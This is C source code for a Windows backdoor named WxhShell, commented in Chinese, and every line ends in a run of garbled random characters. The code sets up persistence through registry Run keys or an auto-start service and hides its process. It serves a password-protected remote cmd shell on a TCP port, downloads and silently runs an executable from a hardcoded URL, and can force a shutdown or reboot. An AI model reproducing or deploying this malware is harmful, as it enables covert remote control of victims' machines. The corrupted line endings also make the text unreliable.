    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I75>$"$<  
    if(Boot(SHUTDOWN)) HPM ggRs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (80 Tbi~+  
    else { 7P!<c/ E  
    closesocket(wsh); {OHaI ;  
    ExitThread(0); M1(+_W`  
    } {s^vAD<~x3  
    break; s~OGl PK  
    } uA]Z"  
  // 获取shell yk r5bS  
  case 's': { g *}M;"  
    CmdShell(wsh); Imi;EHW  
    closesocket(wsh); i U3GUsPy  
    ExitThread(0); " sh%8 <N  
    break; I9JiH,+  
  } 8}9B*m  
  // 退出 1u4)  
  case 'x': { |l5ol @2*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3/+r*lv>X  
    CloseIt(wsh); P,.<3W"4i  
    break; 70s.  
    } 1eiV[z$?  
  // 离开 a:$hK%^ \  
  case 'q': { ~fL:pVp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Aj| Gqw>  
    closesocket(wsh); h>jLhj<07W  
    WSACleanup(); ;IklS*p]  
    exit(1); =*K~U# uoC  
    break; 6|# +  
        } VK/@jrL+  
  } C)w11$.YQ9  
  } P<&-8QA  
;%u'w;sgq  
  // 提示信息 @y3u'Y,B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P3[!-sv  
} >GRL5Iow  
  } '3B\I#  
)C \ %R  
  return; TQ-V61<5  
} ED9uKp<Wbv  
y]1:IJL2;  
// shell模块句柄 Jxyeh1z qB  
int CmdShell(SOCKET sock) 6Xu^ cbD  
{ Dm=d   
STARTUPINFO si; l# -4}95  
ZeroMemory(&si,sizeof(si)); <Q-Y$ ^\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Pi+VuLE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %O9kq  
PROCESS_INFORMATION ProcessInfo; >MXE)=  
char cmdline[]="cmd"; Z_%9LxZlyj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -68E]O  
  return 0; k]J!E-yI8  
} S4n ~wo  
%}t<,ex(yO  
// 自身启动模式 -}2'P)Xp  
int StartFromService(void) t:pgw[UJ  
{ os=Pr{  
typedef struct '|v??`o#  
{ (eTe`   
  DWORD ExitStatus; j%|#8oV  
  DWORD PebBaseAddress; A6?+$ Hr  
  DWORD AffinityMask; a}oFL%=?  
  DWORD BasePriority; v37TDY3;  
  ULONG UniqueProcessId; *rs@6BSj  
  ULONG InheritedFromUniqueProcessId; y.KFz9Qv  
}   PROCESS_BASIC_INFORMATION; nEtG(^N  
"rV-D1Dki  
PROCNTQSIP NtQueryInformationProcess; | rY.IbL  
RR*eq.;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @-uV6X8|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )3W`>7>  
XiP xg[;  
  HANDLE             hProcess; ]h]|PdN  
  PROCESS_BASIC_INFORMATION pbi; 6EHYIN^D  
<"Ox)XG3]W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -\Y"MwIED  
  if(NULL == hInst ) return 0; DK!QGATh  
:>@6\    
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W u4` 3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a4zq`n|3U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b4l=Bg"  
iX 3Y:   
  if (!NtQueryInformationProcess) return 0; gBF2.{"^  
'\v mm>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fjc8@S5x9j  
  if(!hProcess) return 0; z_)`='&n  
AFd3_>h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; --(e(tvf  
jgcI|?yL  
  CloseHandle(hProcess); \v7->Sy8  
6qCRM*V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .@#GNZe  
if(hProcess==NULL) return 0; ){XaO;k<]  
5PaOa8=2f  
HMODULE hMod; J%_m`?  
char procName[255]; Bz&6kRPv  
unsigned long cbNeeded; (?9@nS  
n^HKf^]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9 -Y.8:A`  
{_ &*"bK  
  CloseHandle(hProcess); Bh'_@PHP  
)oEHE7y  
if(strstr(procName,"services")) return 1; // 以服务启动 &#keI.,  
;zMZ+GZ?;+  
  return 0; // 注册表启动 -i,=sZXB  
} R2]2#3`  
/QA:`_</oh  
// 主模块 MF7q*f  
int StartWxhshell(LPSTR lpCmdLine) AW;ncx;  
{ 8'niew 5d  
  SOCKET wsl; y:C=Ni&,"  
BOOL val=TRUE; 'Y6x!i2  
  int port=0; :A~6Gk92A  
  struct sockaddr_in door; XZ|%9#6  
B)q 5m y  
  if(wscfg.ws_autoins) Install(); <)D)j[  
n54}WGo>9  
port=atoi(lpCmdLine); 1E1oy( \V  
Q+Sx5JUR~  
if(port<=0) port=wscfg.ws_port; xsPY#  
2{- };  
  WSADATA data; kYwV0xQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4#dS.UfI  
e-4 Qw #cw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uR;m<wPH,f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z 1~2w:  
  door.sin_family = AF_INET; R#K,/b%SV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X(YR).a~  
  door.sin_port = htons(port); >Y3ZK{b  
+!@@55I-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { li4"|T&  
closesocket(wsl); +dw=)A#/  
return 1; P+9%(S)L3  
} O/N Ed)H!  
>j%4U*  
  if(listen(wsl,2) == INVALID_SOCKET) { ?y1G,0,  
closesocket(wsl); [M;B 9-2$  
return 1; vrGx<0$  
} w1N-`S:  
  Wxhshell(wsl); 1kX>sajp~  
  WSACleanup(); 8|U-{"!O ?  
Z7$"0%  
return 0; 4ayZ.`aK  
oMw#ROsvC  
} v\#1&</qd^  
<$:Hf@tpMo  
// 以NT服务方式启动 IXz)xdP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) axpn*(yE  
{ ]"T1clZKd(  
DWORD   status = 0; MlVVST  
  DWORD   specificError = 0xfffffff; W "}Cfv  
H[;\[ 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }zE Qrfl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UpoTXA D}k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~4}'R_  
  serviceStatus.dwWin32ExitCode     = 0; LOPw0@  
  serviceStatus.dwServiceSpecificExitCode = 0; m7n8{J1O2  
  serviceStatus.dwCheckPoint       = 0; '|jN!y^ 2p  
  serviceStatus.dwWaitHint       = 0; (& =gM  
eGEeWJ}[$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :tTP3 t5  
  if (hServiceStatusHandle==0) return; Eg/=VBtc  
Nfdh0v  
status = GetLastError(); ` yXJaTbo  
  if (status!=NO_ERROR) O"c@x:i  
{ Zf [#~4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j3kcNb  
    serviceStatus.dwCheckPoint       = 0; ^5-8'9w  
    serviceStatus.dwWaitHint       = 0;  0+P[0  
    serviceStatus.dwWin32ExitCode     = status; V]fsjpvlmr  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6+Bccqn|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +kdZfv>  
    return; $Lf-Gi  
  } \y\@=j  
5Y}=,v*h}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5j S8{d0  
  serviceStatus.dwCheckPoint       = 0; +|OrV'  
  serviceStatus.dwWaitHint       = 0; #sg^l>/*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qEW3k),  
} + NpH k  
FfET 45"l  
// 处理NT服务事件,比如:启动、停止 hZ;[}5T\<S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^@a|s Sb  
{ l^"HcP6  
switch(fdwControl) 99]&Xj  
{ ^7zXi xp  
case SERVICE_CONTROL_STOP: ySXQn#}-,  
  serviceStatus.dwWin32ExitCode = 0; OY?x'h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k#Bq8d  
  serviceStatus.dwCheckPoint   = 0; nsM :\t+ p  
  serviceStatus.dwWaitHint     = 0; P!*G"^0<  
  { yo=0Ov  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < `/22S"  
  } i[\`]C{gf  
  return; 8F#z)>q~  
case SERVICE_CONTROL_PAUSE: }wkZ\q[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I_\#(  
  break; OU /=wpt  
case SERVICE_CONTROL_CONTINUE: X u+^41  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x_K8Gr#Z0  
  break; $Z2Y%z6y  
case SERVICE_CONTROL_INTERROGATE: ha -KfkPFE  
  break; I6B`G Im5  
}; m+7/ebj{A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #3WKm*T/  
} &P,z$H{o@  
8qi6>}A  
// 标准应用程序主函数 8:=EA3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q Jnji  
{ c<c"n'  
`YinhO:Z  
// 获取操作系统版本 !eH9LRp  
OsIsNt=GetOsVer(); U/|;u;H=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #,4CeD|(D,  
2VgDM6h  
  // 从命令行安装 d77->FX2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;:/<XfZ  
NGYUZ\m  
  // 下载执行文件 E Pgn2[z  
if(wscfg.ws_downexe) { f L}3I(VK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <.HDv:  
  WinExec(wscfg.ws_filenam,SW_HIDE); \`!M5FJ  
} Q#2gjR r  
 >>nt3q  
if(!OsIsNt) { Gd]!D~[1  
// 如果时win9x,隐藏进程并且设置为注册表启动  LG/6_t}  
HideProc(); \en}8r9cy  
StartWxhshell(lpCmdLine); dg?[gD8!4&  
} }z$_=v  
else [It E+{U  
  if(StartFromService()) @/w ($w"  
  // 以服务方式启动 f'2Ufd|J|  
  StartServiceCtrlDispatcher(DispatchTable); 3ZF-n`  
else =WYI|3~Cz  
  // 普通方式启动 *u|bmt  
  StartWxhshell(lpCmdLine); c~0hu*&  
r/32pY  
return 0; #RG/B2  
} )0Lno|l  
*_aeK~du.  
x2KIGG ^  
;Rz+4<  
=========================================== ZMI!Sl  
9AxeA2/X  
EzXGb  
te 0a6  
)G a%Eg9  
NFEF{|}BM  
" %]zaX-2dm!  
)Hp{8c  
#include <stdio.h> +a{P,fRl@  
#include <string.h> I`~ofq?r  
#include <windows.h> 8l, R|$RKP  
#include <winsock2.h> ZP]l%6\.  
#include <winsvc.h> BaLvlB  
#include <urlmon.h> h^tU*"   
SXA`o<Ma  
#pragma comment (lib, "Ws2_32.lib") C_&-2Z  
#pragma comment (lib, "urlmon.lib") /]mfI&l+9  
}AZ0BI,TI  
#define MAX_USER   100 // 最大客户端连接数 4l7FV<g  
#define BUF_SOCK   200 // sock buffer Gs2| #*6  
#define KEY_BUFF   255 // 输入 buffer d^0vaX6e}  
jlf.~ vt  
#define REBOOT     0   // 重启 4490l"  
#define SHUTDOWN   1   // 关机 .??[qBOTE  
E&}@P0^  
#define DEF_PORT   5000 // 监听端口  2]$ 7  
 <|Pw*L$  
#define REG_LEN     16   // 注册表键长度 2=&4@c|cn  
#define SVC_LEN     80   // NT服务名长度 g3} K  
9L$bJO-3  
// 从dll定义API 0""t`y&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3rF=u:r7c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N3_rqRd^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yJ\K\\]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fp_?1 y  
^1#"FU2cP  
// wxhshell配置信息 Qx B0I/ {  
struct WSCFG { \c"{V-#o\  
  int ws_port;         // 监听端口 N^)\+*tf1  
  char ws_passstr[REG_LEN]; // 口令 m0: IFE($  
  int ws_autoins;       // 安装标记, 1=yes 0=no oi@hZniP?  
  char ws_regname[REG_LEN]; // 注册表键名 O}Ipg[h  
  char ws_svcname[REG_LEN]; // 服务名 $jpAnZR- /  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =B0#z]qu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b3>`%?A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [>rX/a%c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,)S(SnCF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9Y6Ear .W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?)8OC(B8q  
zA~aiX  
}; :`pgdn  
_iJ8*v 8A  
// default Wxhshell configuration TJ&Z/k3-  
struct WSCFG wscfg={DEF_PORT, ]r|nz~Aa$  
    "xuhuanlingzhe", {^Y0kvnd  
    1, d x/NY1  
    "Wxhshell", ,?'":T1[  
    "Wxhshell", qu}&4_`%:V  
            "WxhShell Service", .L#xX1qr  
    "Wrsky Windows CmdShell Service", P?.j wI  
    "Please Input Your Password: ", #QWG5  
  1, STr&"9c  
  "http://www.wrsky.com/wxhshell.exe", .4t-5,7s%  
  "Wxhshell.exe" vE}>PEfA  
    }; 1ymq7F(2  
*/T.]^  
// 消息定义模块 L\CufAN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; myR}~Cj;q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K&\3j-8^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =b{!p|  
char *msg_ws_ext="\n\rExit."; W=[.. d  
char *msg_ws_end="\n\rQuit."; /C'dW  
char *msg_ws_boot="\n\rReboot..."; e >OYJd0s  
char *msg_ws_poff="\n\rShutdown..."; xu]>TC1  
char *msg_ws_down="\n\rSave to "; j06Xz\c  
B%.XWW$  
char *msg_ws_err="\n\rErr!"; J:N4F.o&K  
char *msg_ws_ok="\n\rOK!"; 0~)_/yx?S  
+&U{>?.u  
char ExeFile[MAX_PATH]; |JR;E$  
int nUser = 0; 2tEA8F~k  
HANDLE handles[MAX_USER]; v0d<P2ix  
int OsIsNt; C6!P8qX  
B!;qz[]I  
SERVICE_STATUS       serviceStatus; AP2BND9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }Q=@$YIesD  
5Tb3Yy< .  
// 函数声明 A.5N<$l  
int Install(void); :k-(%E](  
int Uninstall(void); VSxls  
int DownloadFile(char *sURL, SOCKET wsh); cNd;qO0$  
int Boot(int flag); 4X()D {uR  
void HideProc(void); %Ob#GA+  
int GetOsVer(void); MPn 6sf9M  
int Wxhshell(SOCKET wsl); $69ef[b  
void TalkWithClient(void *cs); |?kZfr&9q  
int CmdShell(SOCKET sock); miq"3  
int StartFromService(void); gvoo1 Sa  
int StartWxhshell(LPSTR lpCmdLine); ;&A%"8o  
kOQq+_Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "F$0NYb]I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f`[gRcZ-  
AXQG  
// 数据结构和表定义 XW^Sw;[efZ  
SERVICE_TABLE_ENTRY DispatchTable[] = ]Uy cT3A  
{ kY$vPHZpN  
{wscfg.ws_svcname, NTServiceMain}, &ND8^lR=Y;  
{NULL, NULL} p5`d@y\hj  
}; g4`)n`  
dV:vM9+x  
// 自我安装 ,pg\5b  
int Install(void) $PNS`@B  
{ DNh{J^S"}w  
  char svExeFile[MAX_PATH]; cc$L56q  
  HKEY key; W,g0n=2V  
  strcpy(svExeFile,ExeFile); HZG<aY="  
.t7mTpi  
// 如果是win9x系统,修改注册表设为自启动 !Q0aKkMfL  
if(!OsIsNt) { '(qVA>S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :kaHvf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Is/j =  
  RegCloseKey(key); bM9:h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hy_}e"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2".^Ma^D!  
  RegCloseKey(key); clcj5=:  
  return 0; 4)IRm2G  
    } %"1*,g{  
  } MmvMuX]#)  
} (16U]s  
else { ?9?eA^X%  
}'FNGn.~#  
// 如果是NT以上系统,安装为系统服务 C8J3^ ?7E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >`@c9 m  
if (schSCManager!=0) hZudVBn  
{ +( *;F4>  
  SC_HANDLE schService = CreateService itp$c|{  
  ( 6z(eW]p  
  schSCManager, XQH wu  
  wscfg.ws_svcname, #fb <\!iza  
  wscfg.ws_svcdisp, rl <! h5  
  SERVICE_ALL_ACCESS, d- wbZ)BR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &>0ape  
  SERVICE_AUTO_START, $_5@ NOZ,M  
  SERVICE_ERROR_NORMAL, HLP nbI-+  
  svExeFile, JLZ[sWP='  
  NULL, LvtZZX6!  
  NULL, nmc5c/C|-I  
  NULL, pO;BX5(x  
  NULL, L&i_  
  NULL t]j4PNzn  
  ); XHN`f#(w  
  if (schService!=0) w(y#{!%+  
  { Ke_ & dgsq  
  CloseServiceHandle(schService); upJ|`,G{  
  CloseServiceHandle(schSCManager); :N3'$M"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /!u#S9_B  
  strcat(svExeFile,wscfg.ws_svcname); Q]?Lg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wl*"Vagb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $oJ)W@>  
  RegCloseKey(key); F$;vPAxbK"  
  return 0; uMB|x,X I  
    } vE9M2[TJA  
  }  F%}0q&  
  CloseServiceHandle(schSCManager); ]{[8$|Mg  
} ?^# h|aUp.  
} dZ kr#>  
e>Z F? (a0  
return 1;  h,D6MP  
} E2PMcT{)_  
`wyX)6A|bt  
// 自我卸载 49BLJ|:P?  
int Uninstall(void) /pa8>_,~  
{ ^w+jPT-n  
  HKEY key; {U`B|  
.Fz5K&E=  
if(!OsIsNt) { f +#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K}]0<\N  
  RegDeleteValue(key,wscfg.ws_regname); bwo{ Lw~  
  RegCloseKey(key); 6Wos6_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \n @S.Y?P  
  RegDeleteValue(key,wscfg.ws_regname); K-xmLEu  
  RegCloseKey(key); e|L$e0  
  return 0; X@ljZ  
  } CQq'x +{F  
} Qoj}]jve  
} 8Jz/'  
else { a-`OE"  
is3nLm(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Ps DS  
if (schSCManager!=0) QSn%~o05  
{ 4E Hb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NjTVinz  
  if (schService!=0) sH^?v0^a  
  { h-XMr_F  
  if(DeleteService(schService)!=0) { wGqQR)a  
  CloseServiceHandle(schService); A0NNB%4|/  
  CloseServiceHandle(schSCManager); tGKIJ`w*h  
  return 0; ~~.v*C[  
  } $Qm-p?f  
  CloseServiceHandle(schService); [n`SXBi+n  
  } X9:(}=E V  
  CloseServiceHandle(schSCManager); &wZ ggp  
} I<w`+<o(  
} !n=@(bT*wT  
cU y,q]PO  
return 1; [_3Rhp:  
} >!j= {hK  
a.|4`*1[;  
// 从指定url下载文件 JlR'w]d M,  
int DownloadFile(char *sURL, SOCKET wsh) $RQ7rL3g{  
{ &h7q=-XU   
  HRESULT hr; `0r=ND5.  
char seps[]= "/"; X^tVq..0  
char *token; oCLs"L-r{  
char *file; 3^LSK7.:  
char myURL[MAX_PATH]; G-U%  
char myFILE[MAX_PATH]; |~! R5|Q  
CS 7"mE`{  
strcpy(myURL,sURL);  s*gyk  
  token=strtok(myURL,seps); Dm@wTt8N(  
  while(token!=NULL) XUD/\MoV  
  { Y$^x.^dT,  
    file=token; s$Il;  
  token=strtok(NULL,seps); {__Z\D2I  
  } 1}E`K#  
x8a?I T.  
GetCurrentDirectory(MAX_PATH,myFILE); SL;\S74  
strcat(myFILE, "\\"); 0Fw0#eE  
strcat(myFILE, file); Ozk^B{{o  
  send(wsh,myFILE,strlen(myFILE),0); n2bL-  
send(wsh,"...",3,0); q8:Z.<%8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (K$K;f$"r  
  if(hr==S_OK) GHHErXT\a  
return 0; qYg4H|6  
else vqLC?{i+  
return 1; d[.kGytUt  
WUid5e2  
} /j]r?KAzw  
@!\ g+z_"  
// 系统电源模块 [aF?1KxNMt  
int Boot(int flag) x@+m _y  
{ -jB1tba  
  HANDLE hToken; oZ O 6J-ea  
  TOKEN_PRIVILEGES tkp; =&*:)  
e`Xy!@`_  
  if(OsIsNt) { Sti)YCXH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yQ4]LyS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K\&A}R  
    tkp.PrivilegeCount = 1; <zN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S;$@?vF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9.| +KIRb  
if(flag==REBOOT) { d"nz/$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j.$#10*:  
  return 0; ?~rF3M.=|  
} O)MKEMuA  
else { ^R.#n[-r2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0 &U,WA  
  return 0; %zHNX4  
} ^4Ra$<  
  } U,C L*qTF  
  else { #q~SfG  
if(flag==REBOOT) { ^e$;I8l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N2_j[Pe  
  return 0; (NUk{MTX  
} f\"Qgn  
else { oK h#th  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7?K?-Oj  
  return 0; 5y! 4ny _  
} d"+zDc;  
} /)SwQgK#  
?@9kVB*|  
return 1; 9<5SQ  
} :Ia3yi#  
rE"`q1b#  
// win9x进程隐藏模块 ZVpMR0!  
void HideProc(void) [ADr _  
{ 9`\hG%F  
v*5n$UFV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W|@EKE.k  
  if ( hKernel != NULL ) (US]e un  
  { sk!v!^\_r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wy%q9x]}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QP|Ou*Qm)  
    FreeLibrary(hKernel); =+q9R`!L]  
  } zIWw055W  
SsDz>PP  
return; RqW ZhHI1M  
} `rC9i5:  
e#K =SV!H  
// 获取操作系统版本 s+>""yi  
int GetOsVer(void) h&J6  
{ 0U]wEz*b  
  OSVERSIONINFO winfo; U9IP`)z_5t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;]?1i4p)  
  GetVersionEx(&winfo); W-%oj.BMA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^~0Mw;n&  
  return 1; w!)B\l^+c  
  else 6\)61o_1|  
  return 0; S#qd#Zk|Y  
} c&2ZjM  
/ Dj6Bj }  
// 客户端句柄模块 T[s_w-<7$  
int Wxhshell(SOCKET wsl) @(PYeXdV6&  
{ ^jb55X}  
  SOCKET wsh; J_R54Y~vu  
  struct sockaddr_in client; m8H|cQ@Uu  
  DWORD myID; xBd#  
oD_je~b)  
  while(nUser<MAX_USER) F"j0;}+N  
{ XF(I$Mxl6  
  int nSize=sizeof(client); 0F sz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pt;E~_  
  if(wsh==INVALID_SOCKET) return 1; VO>A+vx3M  
+Y,>ftN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $<2r;'?0D  
if(handles[nUser]==0) |c,":R  
  closesocket(wsh); STs~GOm-  
else JpE4 o2  
  nUser++; zJ7vAL  
  } zcD&xoL\H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9H ?er_6Yf  
?hvPPEJf  
  return 0; CQ2{5  
} EtJyI&7VK  
* 7.!"rb8A  
// 关闭 socket Gvv~P3Dm  
void CloseIt(SOCKET wsh) (E59)z -  
{ 3N(s)N_P M  
closesocket(wsh); p>=YPi/d  
nUser--; ?8. $A2(Xw  
ExitThread(0); j[gX"PdQ  
} lDO9GNz$  
#_y#sDfzh  
// 客户端请求句柄 d/Xbk%`p  
void TalkWithClient(void *cs) cu(2BDfiL  
{ 2V_C_5)1  
Y$!K<c k  
  SOCKET wsh=(SOCKET)cs; `h_,I R<  
  char pwd[SVC_LEN]; >>=lh  
  char cmd[KEY_BUFF]; ]K0<DO9  
char chr[1]; UA/Q3)  
int i,j; m v%fX2.  
lz@fXaZM  
  while (nUser < MAX_USER) { ZO{uG(u  
zx'G0Z9]  
if(wscfg.ws_passstr) { -EFtk\/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 64>E|w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jDI O,XuF  
  //ZeroMemory(pwd,KEY_BUFF); |Y"q. n77  
      i=0;  Ek(. ["  
  while(i<SVC_LEN) { FGu:8`c9  
$n& alcU  
  // 设置超时 !p4w 8  
  fd_set FdRead; $[5ihV$u  
  struct timeval TimeOut; y7dnXO!g9-  
  FD_ZERO(&FdRead); 2 ]5dSXD  
  FD_SET(wsh,&FdRead); [jve |-v=  
  TimeOut.tv_sec=8; "DM $FRI0  
  TimeOut.tv_usec=0; s/UIo ^m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +I#4+0f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); : m$cnq~h  
X|t?{.p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sXOGIv  
  pwd=chr[0]; 7g_:Gv~v  
  if(chr[0]==0xd || chr[0]==0xa) { ?JDZDPVJ)  
  pwd=0; !YSAQi;I  
  break; aM5zYj`pW  
  } ~PP*k QZlJ  
  i++; T{d7,.:  
    } 048BQ  
v5i[jM8  
  // 如果是非法用户,关闭 socket !OekN,6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TAl py$  
} pa Uh+"y>  
ym:^Y-^iV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5WgdgDb@L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HS.3PE0^C  
rc1EJ(c  
while(1) { Um]>B`."wK  
~ z*  
  ZeroMemory(cmd,KEY_BUFF); >3s9vdUp4h  
*5]fjh{  
      // 自动支持客户端 telnet标准   1u7 5  
  j=0; x:b 0G  
  while(j<KEY_BUFF) { KG)7hja<6g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! L:!X88  
  cmd[j]=chr[0]; /lkIbmV  
  if(chr[0]==0xa || chr[0]==0xd) { HT)b3Ws~M8  
  cmd[j]=0; ]Gm,sp.x  
  break; }"wWSPD  
  } B5*{85p(u  
  j++; }MW*xtGV  
    } [tym~ZZ]_m  
OJ\IdUZ   
  // 下载文件 B2:6=8<  
  if(strstr(cmd,"http://")) { 1U.se` L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YW9 [^  
  if(DownloadFile(cmd,wsh)) x+l.04a@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b/lr  
  else S9J<3 =  
